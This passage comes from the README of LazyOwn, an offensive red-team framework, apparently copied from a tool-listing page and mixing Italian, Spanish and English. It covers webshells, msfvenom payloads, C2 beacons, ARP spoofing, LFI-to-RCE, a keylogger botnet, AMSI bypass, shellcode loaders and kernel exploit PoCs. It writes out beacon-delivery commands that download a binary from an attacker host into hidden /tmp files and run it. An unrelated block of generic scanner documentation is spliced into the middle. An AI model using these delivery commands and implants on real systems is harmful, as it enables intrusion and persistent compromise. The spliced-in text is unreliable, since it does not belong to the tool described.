15. Adversary YAML.
───────────────────
amsi_c            implant_nim_nim  infect_c     pid_c  
implant_crypt_go  implant_rust_rs  persist_ps1  shell_c

16. Artificial Intelligence
───────────────────────────
ai_toggle

Uncategorized Commands
──────────────────────
addalias          gobuster_dns   ipy             ollama_enum   set          
alias             gobuster_http  listaliases     pop           shell        
edit              gobuster_web   macro           quit          shortcuts    
EOF               help           nikto_host      rrhost        subwfuzz_tool
ffuf_enumeration  history        notify          run_pyscript
ffuf_tool         ipp            nuclei_ad_http  run_script  

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ 

![image](https://assets.kitploit.com/production/public/readmes/56369/ba7b630c36106e5c695f92b8954083da0d310fd4bf9e0e97e0f7f2d3571963e8/84200588920e073d5289b78ea6239fe8deda4b978c08fbeaf7e699ff42360669-display-v1.webp)

Per cercare all'interno del database scraped ottenuto da GTFOBins.```sh
python3 lazysearch.py binario_a_buscar

![image](https://assets.kitploit.com/production/public/readmes/56369/a6bef5e1b90ace748c0fdb8407c59278ca323e084fb47af7201b4b748370e02f/2548fef0c0caf0a57e8470f969a038dafd23e1ee3c9284b8fdafcc3cd25b32a7-display-v1.webp)```sh
python3 lazyown.py

## Usare la modalità LazyOwn WebShells

LazyOwn Webshell Collection è una raccolta di webshell per il nostro framework, che ci consente di stabilire una webshell sulla macchina su cui eseguiamo LazyOwn utilizzando vari linguaggi di programmazione. Essenzialmente, LazyOwn Webshell avvia un web server all'interno della directory dei moduli, rendendolo accessibile tramite un browser web. Questo ci permette sia di rendere i moduli disponibili separatamente attraverso il web sia di accedere alla directory cgi-bin, dove sono presenti quattro shell: una in Bash, un'altra in Perl, un'altra in Python e una in ASP, nel caso in cui il target sia una macchina Windows.```sh
lazywebshell

Ejecuta la herramienta `msfvenom` para generar una variedad de payloads basados en la entrada del usuario.

Esta función solicita al usuario que seleccione un tipo de payload de una lista predefinida y ejecuta el comando
`msfvenom` correspondiente para crear el payload deseado. Maneja tareas como la generación de diferentes tipos de
payloads para sistemas Linux, Windows, macOS y Android, incluyendo codificación opcional con Shikata Ga Nai para payloads de C.

Los payloads generados se mueven a un directorio `sessions`, donde se establecen los permisos adecuados. Además,
los payloads se pueden comprimir usando UPX para ahorrar espacio. Si el payload seleccionado es un APK de Android,
la función también firmará el APK y realizará los pasos de post-procesamiento necesarios.

:param line: Argumentos de línea de comandos para el script.
:return: None```sh

## Sistema di Comando e Controllo
Il sistema di Command & Control (C2) consente operazioni remote tramite un'architettura server-client con comunicazioni cifrate.

![image](https://assets.kitploit.com/production/public/readmes/56369/a6b2e6650f8d101d5a7d5c5392cb81f975c4d9458f183f7db86b42ef00b3b8b4/832855450636de370b28aba3c8f5d78fb4a63da72d35fd613fe8b7c8efd14462-display-v1.webp)


## Usare il Lazy PATH Hijacking

Verrà creato un file in /tmp con il nome binary_name impostato nel payload, inizializzato con gzip in memoria, e utilizzando bash nel payload. Per impostare il payload dal JSON, usare il comando payload per eseguire. Usare:```sh
lazypathhijacking

![image](https://assets.kitploit.com/production/public/readmes/56369/1f4b751f9624aab5b4ce0539ebf8320448d919c1762063233732ff5ca0521cd1/e7d8ffe4e76a695a901e681af4238292854553071ba951c9fb82a0bab1c31ec9-display-v1.webp)

## Modalità d'uso Lazy Meta Extract0r

LazyMeta Extract0r è uno strumento progettato per estrarre metadati da vari tipi di file, inclusi PDF, DOCX, file OLE (come DOC e XLS) e diversi formati di immagine (JPG, JPEG, TIFF). Questo strumento attraverserà una directory specificata, cercherà file con estensioni compatibili, estrarrà i metadati e li salverà in un file di output.

[*] Iniciando: LazyMeta extract0r [;,;]

usage: lazyown_metaextract0r.py [-h] --path PATH
lazyown_metaextract0r.py: error: the following arguments are required: --path```sh
python3 lazyown_metaextract0r.py --path /home/user

## Uso modo LazyNmap

![image](https://assets.kitploit.com/production/public/readmes/56369/403f95b75c2df27912b402f904b967fd4fd9b5834a8b22577db5ae6d16f627b4/be45e2a2e7ab56af4ccca9c351cb09b712c09451a0a95171579591391902c2bc-display-v1.webp)


L'uso di Lazynmap fornisce uno script automatizzato per un target, in questo caso, 127.0.0.1, utilizzando Nmap. Lo script richiede permessi amministrativi tramite sudo. Include anche un modulo di network discovery per identificare cosa è presente nel segmento IP in cui ti trovi. Inoltre, lo script può ora essere richiamato senza parametri usando l'alias nmap o con il comando run lazynmap.

![image](https://assets.kitploit.com/production/public/readmes/56369/fba537bb9b40a8054efb84fd98e32096e7ca5c87d199479edb6713d4766942e5/8407e269d44e3fcb2e726b818f6fea45cb7c4db901fb4755f1e7c4cda1456cea-display-v1.webp)```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap

![image](https://assets.kitploit.com/production/public/readmes/56369/2fd109fe0b3cb6a7d091b2079b494fee11a729fba3c2e71a65006bd227a9c72e/9bb49d79eea61910396c2ce0e4eaea1dd3bc302ec5676571ae3022a1a5fa03e5-display-v1.webp)

## Utilizzo di lazyown_bprfuzzer.py

Fornire gli argomenti come specificato dalle richieste dello script: Lo script richiederà i seguenti argomenti:



usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA]
                   [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE]
--url: L'URL a cui verrà inviata la richiesta (obbligatorio).
--method: Il metodo HTTP da utilizzare, come GET o POST (opzionale, predefinito: GET).
--headers: Le intestazioni della richiesta in formato JSON (opzionale, predefinito: {}).
--params: I parametri URL in formato JSON (opzionale, predefinito: {}).
--data: I dati del form in formato JSON (opzionale, predefinito: {}).
--json_data: I dati JSON per la richiesta in formato JSON (opzionale, predefinito: {}).
--proxy_port: La porta per il proxy interno (opzionale, predefinito: 8080).
-w, --wordlist: Il percorso della wordlist per la modalità fuzzing (opzionale).
-hc, --hide_code: Il codice di stato HTTP da nascondere nell'output (opzionale).
Assicurarsi di fornire gli argomenti obbligatori per garantire che lo script funzioni correttamente.```sh
python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'

| `-s` | `--server` | Server URL (default: `http://localhost:8080`) |
| `-t` | `--token` | Authentication token |
| `-o` | `--output` | Output file path |
| `-f` | `--format` | Output format: `json`, `yaml`, `table` |
| `-v` | `--verbose` | Enable verbose output |
| `-q` | `--quiet` | Suppress non-essential output |
| `-h` | `--help` | Show help message |
| `-V` | `--version` | Show version information |

### Examples

```bash
# Basic scan
scanner scan --target example.com

# Scan with custom output format
scanner scan --target example.com --format json --output results.json

# Authenticated scan
scanner scan --target example.com --token YOUR_API_TOKEN

# Verbose mode
scanner scan --target example.com --verbose

server:
  url: "http://localhost:8080"
  timeout: 30

scan:
  threads: 10
  depth: 3
  exclude:
    - "*.example.com"
    - "internal.local"

output:
  format: "json"
  directory: "./results"

# Build the image
docker build -t scanner:latest .

# Run the container
docker run --rm -it scanner:latest scan --target example.com

# Run with volume mount
docker run --rm -it -v $(pwd)/results:/app/results scanner:latest scan --target example.com --output /app/results/output.json

version: '3.8'

services:
  scanner:
    build: .
    volumes:
      - ./results:/app/results
    environment:
      - SCANNER_SERVER_URL=http://scanner-api:8080
      - SCANNER_LOG_LEVEL=info
    depends_on:
      - scanner-api

  scanner-api:
    image: scanner-api:latest
    ports:
      - "8080:8080"

# Check if the server is running
curl http://localhost:8080/health

# Start the server
scanner server start

# Check token validity
scanner auth verify --token YOUR_API_TOKEN

# Check directory permissions
ls -la ./results

# Fix permissions
chmod 755 ./results

scanner scan --target example.com --verbose --log-level debug

# Clone the repository
git clone https://github.com/example/scanner.git
cd scanner

# Install dependencies
pip install -r requirements.txt

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
pytest tests/

# Run linter
flake8 scanner/

![image](https://assets.kitploit.com/production/public/readmes/56369/536bf1028ec5c58968040226c36296d17707cc7236e75a4245c2618835265d78/6ff4dbf1c94f750b69acf64298b86dd7982a7ccbc25d4fdaa69b980a254bd63a-display-v1.webp)
Nota: per utilizzare il dizionario, eseguire il seguente comando all'interno di /usr/share/seclists:```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip

![image](https://assets.kitploit.com/production/public/readmes/56369/2c92e5d852a586494d37d892de49b42e849d9602a75cb399dbfef5d2aaf95b44/4cb2b5a8fa35fca9f90ac2471b81765100aaa30b84f11795ee77e727cb3113c0-display-v1.webp)

## Uso modalità LazyReverseShell

Ascolta```sh
nc -nlvp 1337 #o el puerto que escojamos

![image](https://assets.kitploit.com/production/public/readmes/56369/207a550ff7c9ce047796bea119a6fd31e0f895b88a8ca98a0c2b231f6e697fd9/d03d9a1178703f93e04997e8d2b10b3a1591e14c707246e517693672653ecc56-display-v1.webp)

## Utilizzo di Lazy Curl in modalità Recon

Il modulo si trova nella directory modules e viene utilizzato come segue:```sh
chmod +x lazycurl.sh

Utilizzo.

GET:```sh
./lazycurl.sh --mode GET --url http://10.10.10.10

TRACE:```sh
./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh
Caricamento file:```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt

Assicurati di regolare i parametri in base alle tue esigenze e che i valori forniti per le opzioni siano validi per ciascun caso.

## Utilizzo della modalità ARPSpoofing

Lo script fornisce un attacco di ARP spoofing utilizzando Scapy. Nel payload, devi impostare lhost, rhost e il dispositivo che utilizzerai per eseguire l'ARP spoofing.```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing

## Utilizzo della modalità Lazy Own LFI RFI 2 RCE

La modalità LFI RFI 2 RCE è progettata per testare alcuni dei payload più noti contro i parametri specificati in payload.json. Ciò consente una valutazione completa delle vulnerabilità di Local File Inclusion (LFI), Remote File Inclusion (RFI) e Remote Code Execution (RCE) nel sistema di destinazione.

![image](https://assets.kitploit.com/production/public/readmes/56369/3bd4f818fd3a15a099e25d21604b8362e5ce76dee05d56f182a6e4817c81edd6/7ba305b87f294e6253a90746031a826f95bf3c65a850ec3aa4e8b4b90dd41208-display-v1.webp)```sh
payload
run lazylfi2rce

esegui lazysniff
oppure semplicemente
sniff```

### Experimental Obfuscation Using PyInstaller

This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.


```sh
./py2el.sh```

## Experimental NetBIOS Exploit

This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)


```sh
esegui lazynetbios```

## Experimental LazyBotNet with Keylogger for Windows and Linux

This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.


```sh
payload
run lazybotnet```

## Interactive Menus

The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.

### Clean Interruption

The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.

## License

This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.

## Acknowledgments ✌

A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive

### Thanks to pwntomate 🍅

An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>

### Thanks to Sicat 🐈

An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>

### Thanks to josefcohernandez

For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.

### Thanks to EQSTLab (via yym8538)

For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.

## BlackSandBeacon — Linux BOF

**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.

### What is Linux BOF?

On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:

- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
  (`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
  no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
  `BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
  so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
  libc equivalents.
- Advanced BOFs can use **direct syscalls via inline assembly** or `io_uring` for
  kernel interaction without libc linking.

### Deployment via LazyOwn

```bash
# 1. Compila e prepara il beacon
(LazyOwn) > blacksandbeacon

# 2. Consegna al target (il comando viene eseguito sul target)
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

# 3. Compila e prepara il loader BOF
(LazyOwn) > blacksandbeacon_bof

# 4. Consegna il loader BOF a una sessione attiva
curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof```

### Porting a Windows BOF to Linux

```c
// Sostituisci le chiamate all'API Win32 con syscall dirette o equivalenti libc.
// L'API datap rimane identica.
#include "beacon.h"

void go(char *args, int len) {
    datap parser;
    BeaconDataParse(&parser, args, len);
    char *target = BeaconDataExtract(&parser, NULL);
    // Linux: usa syscall(SYS_open, ...) invece di CreateFile
    BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}```

Compile: `gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`

### Adoption gap this closes

| Capability | Cobalt Strike | Sliver | Havoc | LazyOwn + BlackSandBeacon |
|---|---|---|---|---|
| Windows BOF | Yes | No | No | Yes (via `beacon` addon) |
| Linux BOF | **No** | **No** | **No** | **Yes** |
| ARM BOF | No | No | No | Planned (`blackzincbeacon`) |
| Open source | No | Yes | Yes | Yes |

## Related Projects

LazyOwn ships as the "all-in-one" front of a small ecosystem of focused
red-team tools. Each project below stands on its own and can be wired into
LazyOwn through `lazyaddons/*.yaml`, the C2 implant pipeline, or the MCP
`lazyown_palette --info` view (which exposes the graphify-derived `calls`
and `related` neighbours of every command).

### Lightweight beacons (C / ASM)

Drop-in replacements for the bundled Go beacon when you need a smaller
footprint or per-architecture artefacts:

- **[beacon](https://github.com/grisuno/beacon)** — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via `lazyaddons/beacon.yaml`.
- **[blacksandbeacon](https://github.com/grisuno/blacksandbeacon)** — Linux-native beacon in C with first-class **Linux BOF (Beacon Object File)** support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a `dlopen` runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. **No commercial C2 framework (including Cobalt Strike) offers Linux BOF support.** Wired in via `lazyaddons/blacksandbeacon.yaml`; BOF loader via `lazyaddons/blacksandbeacon_bof.yaml`.
- **[blackzincbeacon](https://github.com/grisuno/blackzincbeacon)** — ARM build of the same family, for embedded / IoT engagements.

### Lightweight C2 frameworks

Alternative C2 surfaces that speak the same beacon protocol as `lazyc2.py`
or that can serve as a teamserver back-end:

- **[BlackObsidianC2](https://github.com/grisuno/BlackObsidianC2)** — small, fast Go C2 server intended as a stripped-down companion to `lazyc2.py`.
- **[LazyOwnBT](https://github.com/grisuno/LazyOwnBT)** — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.

### AI / orchestration

Drop into LazyOwn through MCP, the `toposwarm` lazyaddon, or directly:

- **[toposwarm](https://github.com/grisuno/toposwarm)** — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
- **[LazyOwnOpenCodeAdapter](https://github.com/grisuno/LazyOwnOpenCodeAdapter)** — bridge between LazyOwn and OpenCode-style coding agents.

### Loaders, shellcode runners and post-exploitation

Used both by humans through pwntomate `.tool` files and by the autonomous
daemon when the reactive selector recommends an in-memory technique:

- **[gomulti_loader](https://github.com/grisuno/gomulti_loader)** — multi-platform Go shellcode loader (Linux + Windows). Wired in via `lazyaddons/gomulti_loader_linux.yaml` and `gomulti_loader_windows.yaml`.
- **[win_shellcode](https://github.com/grisuno/win_shellcode)** — collection of Windows shellcode templates ready to be linked from a beacon stub.
- **[ejecutarShellcode](https://github.com/grisuno/ejecutarShellcode)** — minimal "execute-this-shellcode" loaders for quick PoCs.
- **[ShellcodeFluctuation_crosscompile](https://github.com/grisuno/ShellcodeFluctuation_crosscompile)** — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
- **[LazyLoader](https://github.com/grisuno/LazyLoader)** — generic loader scaffold designed to be extended per engagement.
- **[OverRide](https://github.com/grisuno/OverRide)** — DLL hijack / DLL search-order-override toolkit for Windows persistence.
- **[ShadowLink](https://github.com/grisuno/ShadowLink)** — link-time / symbol-rewrite tooling for Linux ELF stagers.
- **[netsh_helper_dll](https://github.com/grisuno/netsh_helper_dll)** — `netsh` helper-DLL persistence template for Windows.

### Defensive bypass / instrumentation

- **[amsi](https://github.com/grisuno/amsi)** — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.

### Exploits and CVE PoCs

LazyOwn already vendors several recent kernel-class PoCs through the addon
system (`lazyaddons/copyfail.yaml`, `lazyaddons/dirtyfrag.yaml`,
`lazyaddons/CVE-2022-22077.yaml`, `lazyaddons/CVE_2025_24071_PoC.yaml`,
`lazyaddons/ebird3.yaml`). The original repositories are listed here for
auditability and citation:

- **[CVE-2022-22077](https://github.com/grisuno/CVE-2022-22077)** — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
- **[copy-fail-CVE-2026-31431](https://github.com/grisuno/copy-fail-CVE-2026-31431)** — next-gen Dirty Pipe variant. Backed by the `copyfail` lazyaddon.
- **[ebird3](https://github.com/grisuno/ebird3)** — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.

> **Want to add yours?** Drop a `lazyaddons/<name>.yaml` describing
> `repo_url`, `install_command` and `execute_command`; LazyOwn will pick it
> up automatically and surface it through the MCP `lazyown_palette` view.

## Abstract

LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.

## Lazyducky_digispark

![LazyOwn](https://github.com/user-attachments/assets/b7e8c257-c0de-4033-bf4b-57ebc87dcb97)

      Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.

        This method checks if Arduino CLI and Micronucleus are installed on the system.
        If they are not available, it installs them. It then compiles a Digispark sketch
        and uploads the generated .hex file to the Digispark device.

        The method performs the following actions:
        1. Checks for the presence of Arduino CLI and installs it if not available.
        2. Configures Arduino CLI for Digispark if not already configured.
        3. Generates a reverse shell payload and prepares the sketch for Digispark.
        4. Compiles the prepared Digispark sketch using Arduino CLI.
        5. Checks for the presence of Micronucleus and installs it if not available.
        6. Uploads the compiled .hex file to the Digispark device using Micronucleus.

        Args:
            line (str): Command line input provided by the user, which may contain additional parameters.

        Returns:
            None: The function does not return any value but may modify the state of the system
                by executing commands.


## Star History

<a href="https://www.star-history.com/#grisuno/LazyOwn&Date">
 <picture>
   <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date&theme=dark" />
   <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
   <img alt="Star History Chart" src="https://api.star-history.com/svg?repos=grisuno/LazyOwn&amp;type=Date" />
 </picture>
</a>

# Documentation by readmeneitor.py

Documentation automatically created by the script `readmeneitor.py` created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.

## ReadMenator now have a repository

[https://github.com/grisuno/ReadMenator](https://github.com/grisuno/ReadMenator)

# Legal disclaimer:
Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.


---

<!-- START UTILS -->
# LazyOwn Command Reference

Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.

## Table of Contents

- [01. Reconnaissance](#01-reconnaissance) (38 commands)
- [02. Scanning & Enumeration](#02-scanning-&-enumeration) (74 commands)
- [03. Exploitation](#03-exploitation) (66 commands)
- [04. Post-Exploitation](#04-post-exploitation) (45 commands)
- [05. Persistence](#05-persistence) (33 commands)
- [06. Privilege Escalation](#06-privilege-escalation) (16 commands)
- [07. Credential Access](#07-credential-access) (31 commands)
- [08. Lateral Movement](#08-lateral-movement) (30 commands)
- [09. Data Exfiltration](#09-data-exfiltration) (35 commands)
- [10. Command & Control](#10-command-&-control) (28 commands)
- [11. Reporting](#11-reporting) (26 commands)
- [12. Miscellaneous](#12-miscellaneous) (169 commands)
- [13. Diagnostics](#13-diagnostics) (2 commands)
- [Uncategorized](#uncategorized) (135 commands)

---

## 01. Reconnaissance

### `alterx`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'

### `apache_users`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs enumeration of users from a target system using `apache-users`.

### `binarycheck`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs various checks on a selected binary to gather information and protections.

### `cve`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Search for a CVE using the CIRCL API.

### `dig`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Executes the `dig` command to query DNS information.

### `dnschef`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the DNSChef tool to monitor DNS queries and intercept responses.

### `dnsenum`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs DNS enumeration using `dnsenum` to identify subdomains for a given domain.

### `dnsmap`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs DNS enumeration using `dnsmap` to discover subdomains for a specified domain.

### `dnstool_py`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the dnstool.py tool to modify Active Directory-integrated DNS records.

### `estorides_import`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Import Estorides-discovered entities into LazyOwn database and scope.

### `estorides_loop`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Run the bidirectional Estorides <-> LazyOwn feedback loop.

### `estorides_seed`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Feed LazyOwn hosts/domains into Estorides for passive OSINT discovery.

### `estorides_surface`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Show the combined active + passive attack surface.

### `finalrecon`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Runs the `finalrecon` tool to perform a web server vulnerability scan against the specified target host.

### `getcap`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Retrieve and display file capabilities on the system.

### `gospider`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Try gospider for web spidering.

### `graudit`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the graudit command to perform a static code analysis with the specified options.

### `httprobe`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the httprobe tool to probe domains for working HTTP and HTTPS servers.

### `ipinfo`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Retrieves detailed information about an IP address using the ARIN API.

### `launchpad`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Searches for packages on Launchpad based on the provided search term and extracts codenames from the results. The distribution is extracted from the search term.

### `metabigor`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes Metabigor commands for OSINT and scanning tasks with guided input or predefined arguments.

### `openssl_sclient`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Uses `openssl s_client` to connect to a specified host and port, allowing for testing and debugging of SSL/TLS connections.

### `ping`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Perform a ping to check host availability and infer the operating system based on TTL values.

### `ports`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Lists all open TCP and UDP ports on the local system.

### `proxy`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Runs a small proxy server to modify HTTP requests on the fly.

### `recon`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs reconnaissance on a specified self.params['domain'] using crt.sh (the target must be visible on internet), pup, httprobe, and EyeWitness.

### `serveralive2`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Command serveralive2: Uses Impacket to connect to a remote MSRPC interface and retrieves the server bindings.

### `sherlock`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the Sherlock tool to find usernames across social networks.

### `sslscan`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Run an SSL scan on the specified remote host.

### `surface`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Render the network surface graph in the terminal.

### `tcpdump_capture`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Starts packet capture using `tcpdump` on the specified interface.

### `tcpdump_icmp`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Starts `tcpdump` to capture ICMP traffic on the specified interface.

### `trace`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Traces the DNS information for a given self.params['domain'] using the FreeDNS service. (using freedns IP Not your IP)

### `trufflehog`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes trufflehog to search for secrets in a given Git repository URL.

### `tshark_analyze`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Analyzes a packet capture file using `tshark` based on the provided remote host IP.

### `waybackmachine`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Fetch URLs from the Wayback Machine for a given website.

### `whatweb`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs a web technology fingerprinting scan using `whatweb`.

### `windapsearchscrapeusers`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Extracts usernames from a JSON output generated by go-windapsearch and appends them


## 02. Scanning & Enumeration

### `ad_ldap_enum`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes ad-ldap-enum to enumerate Active Directory objects (users, groups, computers)

### `allin`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Execute the AlliN.py tool with various scan modes and parameters.

### `amass`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Executes Amass to perform a passive enumeration on a given domain.

### `arjun`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

Executes an Arjun scan on the specified URL for parameter discovery.

### `arpscan`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Executes an ARP scan using `arp-scan`.

### `batchnmap`

**Phase:** enum | **Source:** `cli/commands/recon.py`

Runs the internal module `modules/lazynmap.sh` for multiple Nmap scans.

### `bbot`

**Phase:** enum | **Source:** `cli/commands/scan.py`

Executes a BBOT scan to perform various reconnaissance tasks.

### `blazy`

**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`

---

[Read more](https://github.com/grisuno/lazyown)